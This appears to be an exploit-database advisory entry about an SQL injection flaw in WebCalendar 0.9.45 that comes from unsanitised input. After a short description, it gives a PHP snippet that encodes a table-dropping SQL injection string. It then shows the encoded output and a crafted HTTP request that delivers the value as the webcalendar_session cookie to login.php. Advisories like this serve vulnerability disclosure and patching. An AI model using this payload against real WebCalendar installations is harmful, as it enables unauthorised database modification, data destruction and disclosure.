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source: http://www.securityfocus.com/bid/12581/info WebCalendar is affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This vulnerability is reported to affect WebCalendar 0.9.45; earlier versions may also be affected. The vendor has addressed this issue in WebCalendar 1.0RC1 and later. <?php include_once 'includes/init.php'; echo encode_string("'; drop table foo; select 'a|zzabcdefg"); ?> output: 7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8 attack payload: telnet example.com GET /login.php HTTP/1.1 Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8